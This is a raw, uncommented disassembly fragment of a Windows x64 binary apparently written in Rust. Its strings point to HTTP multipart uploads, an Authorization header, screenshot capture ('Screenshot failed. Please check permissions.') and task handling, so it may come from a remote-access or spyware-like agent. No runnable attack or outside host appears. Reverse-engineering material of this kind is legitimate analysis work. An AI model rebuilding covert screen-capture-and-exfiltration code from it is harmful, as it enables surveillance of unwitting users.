mov qword [rbp + 0x3c8], rcx
mov qword [rbp + 0x3d0], r14
mov rcx, qword [rbp + 0x4b28]
mov qword [rbp + 0x398], rcx
mov rcx, qword [rbp + 0x4a28]
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x3a8], r12
mov qword [rbp + 0x3b0], rax
lea rax, fcn.140009390
mov qword [rbp + 0x3b8], rax
lea rcx, [rbp + 0x42f8]
call fcn.140015c13
mov rsi, qword [rbp + 0x46d8]
mov rax, qword [rbp + 0x46e8]
jmp 0x1401609ea
mov qword [rbp + 0x4238], r12
mov byte [rbp + 0x4b26], 0
lea rcx, [rbp + 0x46d0]
call fcn.140015a04
mov byte [rbp + 0x4b26], 0
xor ecx, ecx
call fcn.14006653f
test rax, rax
lea r13, [rbp + 0x3988]
push 0x10
pop rsi
je 0x1401643c4
mov rax, qword [rax]
mov qword [rbp + 0x4b38], rax
inc qword [rax]
push 0xe
pop r12
je 0x140164599
and qword [rbp + 0x340], 0
mov qword [rbp + 0x348], 1
and qword [rbp + 0x350], 0
mov byte [rbp + 0x4ac4], 1
lea rcx, [rbp + 0x340]
mov rdx, rsi
call case.0x1400422a0.278
mov rbx, rsi
mov rcx, qword [rbp + 0x4b38]
lea rsi, [rcx + 0x10]
lea rdi, [rcx + 0x120]
mov rax, qword [rcx + 0x110]
cmp rax, 0x40
jb 0x140160c3c
mov rax, qword [rcx + 0x158]
test rax, rax
jle 0x140160c28
cmp qword [rcx + 0x160], 0
js 0x140160c28
add rax, 0xffffffffffffff00
mov qword [rcx + 0x158], rax
mov rcx, rdi
mov rdx, rsi
call fcn.140065a78
jmp 0x140160c33
mov rcx, rdi
mov rdx, rsi
call fcn.14006649a
xor eax, eax
mov rcx, qword [rbp + 0x4b38]
mov r8d, dword [rcx + rax*4 + 0x10]
mov edx, r8d
shr edx, 0x1b
inc rax
mov qword [rcx + 0x110], rax
cmp edx, 0x1e
ja 0x140160bf2
shr r8d, 0x1a
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
mov r14b, byte [r8 + rax]
test r14b, r14b
js 0x140160c9d
mov r15, qword [rbp + 0x350]
cmp r15, qword [rbp + 0x340]
jne 0x140160c86
lea rcx, [rbp + 0x340]
call fcn.1400235c9
mov rax, qword [rbp + 0x348]
mov byte [rax + r15], r14b
inc r15
mov qword [rbp + 0x350], r15
jmp 0x140160cc6
movzx ecx, r14b
and dword [rbp + 0x25d0], 0
lea rdx, [rbp + 0x25d0]
call fcn.14003c910
mov r8, rdx
lea rcx, [rbp + 0x340]
mov rdx, rax
call fcn.1401b4c64
dec rbx
mov rcx, qword [rbp + 0x4b38]
jne 0x140160beb
call fcn.140065a0d
mov rax, qword [rbp + 0x350]
mov qword [rbp + 0x25e0], rax
movups xmm0, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x25d0], xmm0
lea rax, [0x140216628]
mov qword [rbp + 0x340], rax
push 1
pop rcx
mov qword [rbp + 0x348], rcx
and qword [rbp + 0x360], 0
lea rax, [rbp + 0x25d0]
mov qword [rbp + 0x4380], rax
lea rax, [0x1400062be]
mov qword [rbp + 0x4388], rax
lea rax, [rbp + 0x4380]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], rcx
lea rcx, [rbp + 0x46d0]
lea rdx, [rbp + 0x340]
call fcn.140003c00
mov rcx, qword [rbp + 0x25d0]
mov rdx, qword [rbp + 0x25d8]
call fcn.1400373d1
and qword [rbp + 0x3c00], 0
mov qword [rbp + 0x3c08], 1
and qword [rbp + 0x3c10], 0
and qword [rbp + 0x3780], 0
mov qword [rbp + 0x3788], 8
and qword [rbp + 0x3790], 0
movups xmm0, xmmword [rbp + 0x46d0]
movaps xmmword [rbp + 0x3670], xmm0
mov rsi, qword [rbp + 0x4300]
mov rcx, qword [rbp + 0x4308]
and qword [rbp + 0x4308], 0
imul rax, rcx, 0x98
add rax, rsi
mov qword [rbp + 0x3d40], rsi
mov qword [rbp + 0x3d48], rax
lea rdx, [rbp + 0x42f8]
mov qword [rbp + 0x3d50], rdx
mov qword [rbp + 0x3d58], rcx
and qword [rbp + 0x3d60], 0
mov rcx, qword [rbp + 0x46e0]
mov qword [rbp + 0x3680], rcx
mov cl, 1
mov dword [rbp + 0x4a38], ecx
xor ecx, ecx
mov qword [rbp + 0x4b08], rcx
lea rbx, [rbp + 0x3f70]
cmp rsi, rax
lea r8, [rbp + 0x46d0]
je 0x140161495
lea rax, [rsi + 0x98]
mov qword [rbp + 0x3d40], rax
mov rax, qword [rsi]
mov r10, qword [rsi + 8]
mov r9, qword [rsi + 0x10]
mov r15, qword [rsi + 0x18]
mov rdx, qword [rsi + 0x20]
add rsi, 0x28
mov rcx, r12
mov rdi, r8
rep movsq qword [rdi], qword [rsi]
cmp rax, 4
je 0x140161495
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], r10
mov qword [rbp + 0x350], r9
mov qword [rbp + 0x358], r15
mov qword [rbp + 0x360], rdx
mov rcx, r12
lea rdi, [rbp + 0x368]
mov rsi, r8
rep movsq qword [rdi], qword [rsi]
add rax, 0xfffffffffffffffe
cmp rax, 2
push 2
pop rcx
cmovae rax, rcx
test rax, rax
je 0x140160ff1
cmp rax, 1
jne 0x1401610b5
mov qword [rbp + 0x4ae8], r10
mov rax, qword [rbp + 0x3c0]
mov qword [rbp + 0x4aa8], rax
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x4b28], rax
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x4aa0], rax
mov rax, qword [rbp + 0x3678]
mov qword [rbp + 0x4ab0], rax
mov rax, qword [rbp + 0x3680]
mov qword [rbp + 0x4a90], rax
mov byte [rbp + 0x4af3], 1
mov qword [rbp + 0x4b38], r9
mov rcx, r9
mov rdx, r15
call case.0x140195aa8.181
test rax, rax
je 0x140161197
mov rcx, rax
call fcn.14005f62b
test rax, rax
mov rcx, qword [rbp + 0x4b38]
je 0x140161190
mov r8, rdx
test rdx, rdx
je 0x140161190
lea rcx, [rbp + 0x4380]
mov rdx, rax
call fcn.14005ad00
mov rdx, qword [rbp + 0x4388]
mov r8, qword [rbp + 0x4390]
lea rcx, [rbp + 0x25d0]
call fcn.14005ad00
mov rsi, qword [rbp + 0x25d8]
mov rdi, qword [rbp + 0x25e0]
mov r14d, 0x566
xor r12d, r12d
mov ebx, 0x566
cmp r12, r14
jae 0x14016119e
shr rbx, 1
add rbx, r12
mov r13, rbx
shl r13, 5
lea rax, [0x140208cc0]
mov rcx, qword [r13 + rax]
mov rdx, qword [r13 + rax + 8]
mov r8, rsi
mov r9, rdi
call fcn.14005ad76
test al, al
je 0x1401611a2
mov rcx, rbx
cmp al, 1
je 0x140160fdc
mov rcx, r14
cmp al, 0xff
jne 0x140160fe6
mov qword [rbp + 0x3f70], r10
mov qword [rbp + 0x3f78], r9
mov qword [rbp + 0x3f80], r15
lea rax, [rbp + 0x3670]
mov qword [rbp + 0x25d0], rax
lea rax, [0x1400062be]
mov qword [rbp + 0x25d8], rax
mov rax, qword [rbp + 0x4200]
mov qword [rbp + 0x25e0], rax
lea rdx, [0x14005f9a4]
mov qword [rbp + 0x25e8], rdx
lea rax, [0x140216668]
mov qword [rbp + 0x4380], rax
push 3
pop rcx
mov qword [rbp + 0x4388], rcx
and qword [rbp + 0x43a0], 0
mov qword [rbp + 0x25f0], rbx
mov qword [rbp + 0x25f8], rdx
lea rax, [rbp + 0x25d0]
mov qword [rbp + 0x4390], rax
mov qword [rbp + 0x4398], rcx
lea rcx, [rbp + 0x3c00]
lea rdx, [rbp + 0x4380]
call fcn.14005f75c
test rax, rax
jne 0x140164263
mov rcx, qword [rbp + 0x3f70]
mov rdx, qword [rbp + 0x3f78]
call fcn.14005fb5b
jmp 0x140161178
push 0x10
pop rcx
lea rdi, [rbp + 0x25d0]
lea rsi, [rbp + 0x340]
rep movsq qword [rdi], qword [rsi]
movabs rax, 0x8000000000000001
cmp qword [rbp + 0x2628], rax
je 0x1401610e5
mov rax, qword [rbp + 0x2630]
jmp 0x1401610e7
xor eax, eax
mov rdx, qword [rbp + 0x3c8]
mov r8, qword [rbp + 0x3d0]
mov r9, qword [rbp + 0x3678]
mov rcx, qword [rbp + 0x3680]
movups xmm0, xmmword [rbp + 0x2638]
mov r10, qword [rbp + 0x2648]
mov qword [rsp + 0x48], r10
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x25d0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rsi, [rbp + 0x4380]
mov rcx, rsi
call fcn.14005fc10
lea rcx, [rbp + 0x3780]
mov rdx, rsi
call fcn.14005fec3
mov rcx, qword [rbp + 0x2628]
mov rdx, qword [rbp + 0x2630]
call fcn.14005fbcf
lea rcx, [rbp + 0x25d0]
call fcn.14005fbe3
mov dword [rbp + 0x4a38], 0
mov rcx, qword [rbp + 0x3c0]
mov rdx, qword [rbp + 0x3c8]
call fcn.14005fb5b
jmp 0x140161482
push 8
pop rdi
xor esi, esi
jmp 0x1401611d2
push 8
pop rdi
xor esi, esi
jmp 0x1401611cb
xor eax, eax
jmp 0x1401611b3
lea rcx, [0x140208cc0]
mov rax, qword [r13 + rcx + 0x10]
mov rsi, qword [r13 + rcx + 0x18]
test rax, rax
mov rdi, rax
push 8
pop rcx
cmove rdi, rcx
cmove rsi, rax
lea rbx, [rbp + 0x3f70]
mov rcx, qword [rbp + 0x4b38]
mov byte [rbp + 0x4af3], 1
mov rdx, r15
call fcn.1401999f0
test rax, rax
je 0x1401611fa
mov rcx, rax
call fcn.14005f62b
mov r14, rax
mov qword [rbp + 0x4a58], rdx
jmp 0x1401611fd
xor r14d, r14d
test rsi, rsi
mov qword [rbp + 0x4a60], r14
je 0x140161276
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov qword [rbp + 0x42c8], rdx
mov qword [rbp + 0x42d0], r8
lea rcx, [rbp + 0x25d0]
call fcn.14005a2da
push 0xa
pop rcx
mov rbx, qword [rbp + 0x25d0]
cmp rbx, 2
je 0x1401642ab
lea r12, [rbp + 0x4380]
mov rdi, r12
mov r13, rcx
lea rsi, [rbp + 0x25d8]
rep movsq qword [rdi], qword [rsi]
mov rcx, r13
lea r14, [rbp + 0x3f70]
mov rdi, r14
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x1401fee00]
call fcn.14005ae2b
jmp 0x140161296
push 0xa
pop r13
mov rcx, r13
mov rdi, rbx
lea rsi, [0x1401fee08]
rep movsq qword [rdi], qword [rsi]
mov r14, rbx
xor ebx, ebx
lea r12, [rbp + 0x4380]
mov qword [rbp + 0x25d0], rbx
mov rcx, r13
lea rdi, [rbp + 0x25d8]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
and dword [rbp + 0x4380], 0
lea rax, [rbp + 0x4388]
movups xmmword [rax], xmm6
mov dword [rbp + 0x4398], 7
lea rax, [rbp + 0x4508]
and word [rax - 0x164], 0
and qword [rax - 0x16c], 0
mov al, 1
mov byte [rbp + 0x43a0], al
mov byte [rbp + 0x4b15], al
mov rcx, r12
mov rdx, qword [rbp + 0x4b38]
mov r8, r15
call fcn.1401958e0
mov r13, rdx
test rax, rax
jne 0x1401639b9
lea rcx, [rbp + 0x4380]
mov rdx, r13
call fcn.1401944a0
cmp dword [rbp + 0x4380], 2
je 0x14016399f
mov rsi, qword [rbp + 0x43b8]
mov al, byte [0x1402c6358]
xor ecx, ecx
push 8
pop rdx
call fcn.1401a7480
test rax, rax
je 0x140164294
mov rsi, qword [rbp + 0x3d40]
mov rax, qword [rbp + 0x3d48]
jmp 0x140160e23
lea rcx, [rbp + 0x3d40]
call fcn.14005fa5d
lea r12, [rbp + 0x2370]
mov rax, qword [rbp + 0x3c10]
or rax, qword [rbp + 0x3790]
jne 0x1401614ea
mov rcx, qword [rbp + 0x3670]
mov rdx, qword [rbp + 0x3678]
call fcn.1400373d1
and qword [rbp + 0x3670], 0
mov qword [rbp + 0x3678], 1
and qword [rbp + 0x3680], 0
xor esi, esi
jmp 0x140161508
lea rcx, [rbp + 0x3670]
lea rdx, str.___r_nContent_Disposition:_form_data__name___r_n_r_n
push 2
pop r8
call fcn.1401b4c64
mov rsi, qword [rbp + 0x3680]
mov rdi, qword [rbp + 0x3c00]
mov rbx, qword [rbp + 0x3c08]
mov r14, qword [rbp + 0x3c10]
movups xmm0, xmmword [rbp + 0x3780]
movaps xmmword [rbp + 0x3530], xmm0
mov rax, qword [rbp + 0x3790]
mov qword [rbp + 0x3540], rax
movaps xmm1, xmmword [rbp + 0x3670]
movaps xmmword [rbp + 0x3920], xmm1
mov rcx, qword [rbp + 0x3680]
mov qword [rbp + 0x3930], rcx
movaps xmmword [rbp + 0x4270], xmm0
mov qword [rbp + 0x4280], rax
mov qword [rbp + 0x300], rcx
movaps xmmword [rbp + 0x2f0], xmm1
mov byte [rbp + 0x4ad4], 0
lea rcx, [rbp + 0x42f8]
call fcn.140015e95
add rsi, qword [rbp + 0x4b08]
mov eax, dword [rbp + 0x4a38]
and al, 1
mov qword [rbp + 0x3ba8], rdi
mov qword [rbp + 0x3bb0], rbx
mov qword [rbp + 0x3bb8], r14
and qword [rbp + 0x3bc0], 0
movzx eax, al
mov rcx, qword [rbp + 0x4280]
lea rdx, [rbp + 0x3bc8]
mov qword [rdx + 0x10], rcx
movaps xmm0, xmmword [rbp + 0x4270]
movups xmmword [rdx], xmm0
mov rcx, qword [rbp + 0x300]
mov qword [rdx + 0x28], rcx
movaps xmm0, xmmword [rbp + 0x2f0]
movups xmmword [rdx + 0x18], xmm0
and qword [rbp + 0x3bf8], 0
mov qword [rbp + 0x3b98], rax
mov qword [rbp + 0x3ba0], rsi
lea rax, [rbp + 0x3660]
mov qword [rbp + 0x46d0], rax
lea rax, [0x14025c228]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], 2
and qword [rbp + 0x360], 0
lea rax, [fcn.1401c5992]
mov qword [rbp + 0x46d8], rax
lea rax, [rbp + 0x46d0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], 1
mov byte [rbp + 0x4b36], 1
lea rcx, [rbp + 0x2340]
lea rdx, [rbp + 0x340]
call fcn.140015f59
mov byte [rbp + 0x4b36], 1
lea rcx, [rbp + 0x46d0]
lea rdx, [0x14024f100]
lea r8, [rbp + 0x2340]
call fcn.140153379
mov rdx, qword [rbp + 0x46a8]
mov r8, qword [rbp + 0x46b0]
mov byte [rbp + 0x4b14], 1
lea rcx, [rbp + 0x3920]
call fcn.140004a30
lea rsi, [rbp + 0x3f70]
mov rcx, rsi
lea rdx, [rbp + 0x3920]
call fcn.140022f33
lea rcx, [rbp + 0x340]
mov rdx, rsi
call case.0x14001155f.236
mov al, byte [rbp + 0x360]
cmp al, 2
jne 0x14016170b
call fcn.140015cef
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x340], 3
mov byte [rbp + 0x4b14], 0
lea rcx, [rbp + 0x46d0]
call fcn.140156729
jmp 0x140161e16
movups xmm0, xmmword [rbp + 0x340]
movups xmm1, xmmword [rbp + 0x350]
movups xmmword [r13 + 0x10], xmm1
movups xmmword [r13], xmm0
lea rdx, [rbp + 0x358]
mov ecx, dword [rdx + 9]
mov edx, dword [rdx + 0xc]
lea r8, [rbp + 0x3998]
mov dword [r8 + 0x14], edx
mov dword [r8 + 0x11], ecx
lea rdi, [rbp + 0x46d0]
mov qword [rbp + 0x3980], rdi
mov byte [rbp + 0x39a8], al
lea rax, [0x14024d1bf]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
lea rdx, str.Authorizationscreenshots_fail
push 0xd
pop r8
mov r9, rsi
call fcn.1400390ee
mov al, byte [rbp + 0x350]
mov byte [rbp + 0x4b38], al
cmp al, 3
je 0x140164512
mov rax, qword [rbp + 0x350]
mov qword [rbp + 0x3540], rax
movups xmm0, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x3530], xmm0
mov rax, qword [r13 + 0x20]
mov qword [rbp + 0x3d60], rax
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movaps xmmword [rbp + 0x3d50], xmm1
movaps xmmword [rbp + 0x3d40], xmm0
mov byte [rbp + 0x4b25], 1
mov rcx, rdi
call fcn.14001416e
test al, al
jne 0x1401644d8
cmp dword [rbp + 0x46d0], 2
jne 0x1401618ae
mov rax, qword [rbp + 0x46d8]
mov rcx, qword [rbp + 0x46e0]
mov rdx, rax
movabs r8, 0x736f6d6570736575
xor rdx, r8
mov r8, rcx
movabs r9, 0x646f72616e646f6d
xor r8, r9
mov r9, rax
movabs r10, 0x6c7967656e657261
xor r9, r10
mov r10, rcx
movabs r11, 0x7465646279746573
xor r10, r11
mov qword [rbp + 0x340], rdx
mov qword [rbp + 0x348], r9
mov qword [rbp + 0x350], r8
mov qword [rbp + 0x358], r10
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rcx
lea rax, [rbp + 0x358]
movups xmmword [rax + 0x18], xmm6
and qword [rax + 0x28], 0
mov r12b, byte [rbp + 0x3540]
xor ecx, ecx
cmp r12b, 2
setne cl
lea rsi, [rbp + 0x340]
mov rdx, rsi
call fcn.1401551d3
cmp r12b, 2
jne 0x1401618fc
movzx ecx, byte [rbp + 0x3530]
mov rdx, rsi
call fcn.1401551d3
jmp 0x140161925
movabs rax, 0xcbf29ce484222325
mov qword [rbp + 0x340], rax
mov r12b, byte [rbp + 0x3540]
xor ecx, ecx
cmp r12b, 2
setne cl
lea rsi, [rbp + 0x340]
mov rdx, rsi
call fcn.1400140c5
cmp r12b, 2
jne 0x140161a1b
movzx ecx, byte [rbp + 0x3530]
mov rdx, rsi
call fcn.1400140c5
jmp 0x140161a44
mov rsi, qword [rbp + 0x3530]
mov rdi, qword [rbp + 0x3538]
test r12b, r12b
je 0x14016346e
lea rcx, [rbp + 0x340]
mov rdx, rsi
mov r8, rdi
call fcn.140013f9e
movups xmm0, xmmword [rbp + 0x340]
movups xmm1, xmmword [rbp + 0x350]
movaps xmmword [rbp + 0x3c10], xmm1
mov rsi, qword [rbp + 0x370]
shl rsi, 0x38
or rsi, qword [rbp + 0x378]
movaps xmmword [rbp + 0x3c00], xmm0
xor qword [rbp + 0x3c18], rsi
lea rcx, [rbp + 0x3c00]
call fcn.140014076
xor rsi, qword [rbp + 0x3c00]
mov rax, qword [rbp + 0x3c08]
mov rcx, qword [rbp + 0x3c10]
add rsi, rcx
rol rcx, 0xd
mov edx, 0xff
xor rax, rdx
xor rcx, rsi
rol rsi, 0x20
mov rdx, qword [rbp + 0x3c18]
add rax, rdx
rol rdx, 0x10
xor rdx, rax
add rsi, rdx
rol rdx, 0x15
add rax, rcx
rol rcx, 0x11
xor rcx, rax
rol rax, 0x20
xor rdx, rsi
add rsi, rcx
rol rcx, 0xd
xor rcx, rsi
rol rsi, 0x20
add rax, rdx
rol rdx, 0x10
xor rdx, rax
add rsi, rdx
rol rdx, 0x15
add rax, rcx
rol rcx, 0x11
xor rcx, rax
rol rax, 0x20
xor rdx, rsi
add rsi, rcx
rol rcx, 0xd
xor rcx, rsi
add rax, rdx
shl rdx, 0x10
xor rdx, rax
shr rdx, 0x2b
add rax, rcx
shr rcx, 0x2f
xor rcx, rdx
mov rsi, rax
shr rsi, 0x20
xor rsi, rcx
xor rsi, rax
jmp 0x140161a4b
mov rsi, qword [rbp + 0x3530]
mov rdi, qword [rbp + 0x3538]
test r12b, r12b
je 0x1401634a9
lea rcx, [rbp + 0x340]
mov rdx, rsi
mov r8, rdi
call fcn.1400140e8
mov rsi, qword [rbp + 0x340]
and esi, 0x7fff
movzx eax, word [rbp + 0x4728]
mov edi, esi
and edi, eax
mov r14, qword [rbp + 0x3530]
mov r15, qword [rbp + 0x3538]
xor r13d, r13d
mov rax, qword [rbp + 0x4720]
mov rcx, rdi
mov rdi, rcx
mov ecx, 0
cmp rdi, rax
jae 0x140161a77
mov rax, qword [rbp + 0x4718]
movzx ebx, word [rax + rdi*4]
cmp rbx, 0xffff
je 0x140161b66
mov byte [rbp + 0x4b14], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_attohttpc_0.28.0_src_request_builder.rsinvalid_url_or_method_
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x4380]
lea rdx, [rbp + 0x340]
lea r8, [0x14024f380]
push 0x14
pop r9
call fcn.140154000
push 0xd
pop rcx
mov rdi, r12
lea rsi, [rbp + 0x3b98]
rep movsq qword [rdi], qword [rsi]
push 0xb
pop r12
mov rcx, r12
mov rbx, qword [rbp + 0x4208]
mov rdi, rbx
lea rdx, [rbp + 0x4508]
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rdx + 0x68]
mov r14, qword [rbp + 0x4210]
mov qword [r14 + 0x10], rax
movups xmm0, xmmword [rdx + 0x58]
movups xmmword [r14], xmm0
mov r8d, 0x188
lea r15, [rbp + 0x23d8]
mov rcx, r15
lea r13, [rbp + 0x4380]
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r12
mov rdi, qword [rbp + 0x4218]
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [r14 + 0x10]
mov rcx, qword [rbp + 0x4220]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [r14]
movups xmmword [rcx], xmm0
mov r8d, 0x188
lea rbx, [rbp + 0x3a8]
mov rcx, rbx
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
push 0xd
pop rcx
lea rdi, [rbp + 0x340]
lea rsi, [rbp + 0x3b98]
rep movsq qword [rdi], qword [rsi]
mov rsi, rbx
movups xmm0, xmmword [0x14024f308]
movaps xmmword [rbp + 0x4390], xmm0
movups xmm0, xmmword [0x14024f2f8]
movaps xmmword [rbp + 0x4380], xmm0
mov rcx, rbx
mov rdx, r13
lea r8, str.closechunked
push 5
pop r9
call fcn.140017792
lea r13, [rbp + 0x3788]
mov rbx, rax
test rax, rax
jne 0x140164002
cmp byte [rbp + 0x52f], 0
je 0x140161f90
movups xmm0, xmmword [0x14024f200]
movaps xmmword [rbp + 0x4390], xmm0
movups xmm0, xmmword [0x14024f1f0]
movaps xmmword [rbp + 0x4380], xmm0
mov rcx, rsi
lea rdx, [rbp + 0x4380]
lea r8, str.gzip__deflate
push 0xd
pop r9
call fcn.140017792
mov rbx, rax
test rax, rax
jne 0x140164002
movups xmm8, xmmword [0x14024f150]
movaps xmmword [rbp + 0x4390], xmm8
movups xmm9, xmmword [0x14024f140]
movaps xmmword [rbp + 0x4380], xmm9
mov rcx, rsi
lea rdx, [rbp + 0x4380]
lea r8, [0x14024f31d]
push 7
pop r9
call fcn.140017792
mov rbx, rax
test rax, rax
jne 0x140164002
mov rcx, qword [rbp + 0x390]
mov rdx, qword [rbp + 0x398]
lea r9, [rdx - 2]
cmp rdx, 6
jb 0x140164325
cmp byte [rcx + 4], 0xc0
jl 0x140164325
cmp byte [rcx + r9], 0xbf
jle 0x140164325
add rcx, 4
add rdx, 0xfffffffffffffffa
mov qword [rbp + 0x3780], rcx
mov qword [rbp + 0x3788], rdx
lea rax, [0x1401d0178]
mov qword [rbp + 0x4380], rax
push 1
pop rax
mov qword [rbp + 0x4388], rax
and qword [rbp + 0x43a0], 0
lea rcx, [rbp + 0x3780]
mov qword [rbp + 0x3c00], rcx
lea rcx, [fcn.1401c5992]
mov qword [rbp + 0x3c08], rcx
lea rcx, [rbp + 0x3c00]
mov qword [rbp + 0x4390], rcx
mov qword [rbp + 0x4398], rax
lea rcx, [rbp + 0x3d40]
lea rdx, [rbp + 0x4380]
call fcn.140015f59
mov rax, qword [rbp + 0x3d40]
mov rcx, qword [rbp + 0x3d48]
movabs rdx, 0x8000000000000001
cmp rax, rdx
je 0x140163ffa
xor ebx, ebx
cmp rdi, rbx
je 0x140161925
movzx eax, byte [rsi + rbx]
lea rcx, [0x14024d1bf]
mov al, byte [rax + rcx]
mov byte [rbp + 0x3c00], al
lea rcx, [rbp + 0x340]
lea rdx, [rbp + 0x3c00]
push 1
pop r8
call fcn.140013f9e
inc rbx
jmp 0x140163470
xor ebx, ebx
cmp rdi, rbx
je 0x140161a44
movzx eax, byte [rsi + rbx]
lea rcx, [0x14024d1bf]
mov al, byte [rax + rcx]
mov byte [rbp + 0x3c00], al
lea rcx, [rbp + 0x340]
lea rdx, [rbp + 0x3c00]
push 1
pop r8
call fcn.1400140e8
inc rbx
jmp 0x1401634ab
lea rcx, [rbp + 0x42d8]
call fcn.1401566dd
lea rcx, [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4b18]
mov r8, qword [rbp + 0x4a80]
call fcn.140004a30
mov rax, qword [rbp + 0x25e0]
mov qword [rbp + 0x350], rax
movups xmm0, xmmword [rbp + 0x25d0]
movaps xmmword [rbp + 0x340], xmm0
and qword [rbp + 0x358], 0
push 1
pop rax
mov qword [rbp + 0x360], rax
and qword [rbp + 0x368], 0
mov qword [rbp + 0x370], rax
test rsi, rsi
je 0x140163750
lea rax, [rbp + 0x4350]
mov qword [rbp + 0x25d0], rax
and qword [rbp + 0x25d8], 0
lea rcx, [rbp + 0x25d0]
call case.0x1400e8329.435
imul rax, rsi, 0x18
lea rdi, [rbx + rax]
mov rdx, qword [rbp + 0x25d8]
mov rcx, rbx
test rax, rax
je 0x1401636bf
mov r8, qword [rcx + 0x10]
add rcx, 0x18
add rdx, r8
add rdx, 8
mov qword [rbp + 0x25d8], rdx
add rax, 0xffffffffffffffe8
jmp 0x14016369e
lea rcx, [rbp + 0x25d0]
call fcn.1401481de
lea rax, [rbp + 0x25d0]
mov qword [rbp + 0x46d0], rax
lea rcx, [rbp + 0x46d0]
mov rdx, rsi
call fcn.140155304
cmp rbx, rdi
je 0x140163707
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0x46d0]
call fcn.14015533c
add rbx, 0x18
jmp 0x1401636e8
mov rdi, qword [rbp + 0x25d0]
mov rsi, qword [rbp + 0x25d8]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x140164200
mov rbx, qword [rbp + 0x25e0]
xor ecx, ecx
push 1
pop rdx
call fcn.14006095a
mov qword [rbp + 0x358], rdi
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rbx
jmp 0x14016379e
movabs rax, 0x1f400000001
mov qword [rbp + 0x370], rax
lea rcx, [rbp + 0x25d0]
lea rdx, str.Screenshot_failed._Please_check_permissions.
push 0x2c
pop r8
call fcn.14003f3ec
xor ecx, ecx
push 1
pop rdx
call fcn.14006095a
mov rax, qword [rbp + 0x25e0]
lea rcx, [rbp + 0x358]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x25d0]
movups xmmword [rcx], xmm0
lea rcx, [rbp + 0x25d0]
lea rdx, [rbp + 0x340]
call fcn.140156586
mov rcx, qword [rbp + 0x25d0]
mov r8, qword [rbp + 0x25d8]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x1401641b8
mov qword [rbp + 0x4b28], rcx
mov r9, qword [rbp + 0x25e0]
mov rax, qword [rbp + 0x4ab8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x4ac8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4a88]
mov qword [rbp + 0x4b38], r8
call fcn.14018acd5
cmp byte [rbp + 0x25d0], 0
jne 0x1401641c2
mov r8, qword [rbp + 0x25d8]
mov rcx, qword [rbp + 0x4ac8]
mov rdx, qword [rbp + 0x4ab8]
lea r9, str.src_task.rs
call fcn.14015af46
mov r8, rdx
mov rcx, qword [rbp + 0x4a78]
mov rdx, rax
call fcn.14015af66
mov r12, rax
test rax, rax
jne 0x1401641d6
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
lea rcx, [rbp + 0x4688]
call fcn.14016b5e2
jmp 0x14016053f
mov rdx, r8
call fcn.14015b1b7
lea rax, str.disconnect..._n
lea rcx, [rbp + 0x340]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.140198770
xor r12d, r12d
jmp 0x1401640f6
mov cl, 4
jmp 0x1401638e0
mov byte [rbp + 0x342], 6
mov cl, 3
jmp 0x1401638e0
mov cl, byte [rbp + 0x341]
mov dl, byte [rbp + 0x342]
call fcn.1401ca885
jmp 0x1401638f5
mov rcx, rdi
call fcn.1401ca6a1
mov r12, rax
jmp 0x1401640ba
mov rcx, r8
call fcn.1401ca6a1
mov r12, rax
jmp 0x140163931
mov cl, byte [rbp + 0x25d1]
mov dl, byte [rbp + 0x25d2]
call fcn.1401ca885
mov r12, rax
mov rdx, qword [rbp + 0x4b38]
mov rcx, qword [rbp + 0x4b28]
call fcn.14006095a
mov rsi, qword [rbp + 0x4aa8]
lea rcx, [rbp + 0x340]
call fcn.14003f121
lea rcx, [rbp + 0x4380]
call fcn.140008c0f
mov rcx, rsi
mov rdx, qword [rbp + 0x4ae8]
call fcn.14006095a
lea rcx, [rbp + 0x3f70]
call fcn.14016b585
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x4b08], rax
jne 0x140163998
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
lea rcx, [rbp + 0x3780]
call fcn.14016b5c4
xor esi, esi
jmp 0x140163f14
mov rsi, qword [rbp + 0x4388]
mov byte [rbp + 0x4b15], 0
mov rcx, r13
call qword [sym.imp.kernel32.dll_CloseHandle]
mov r13, rsi
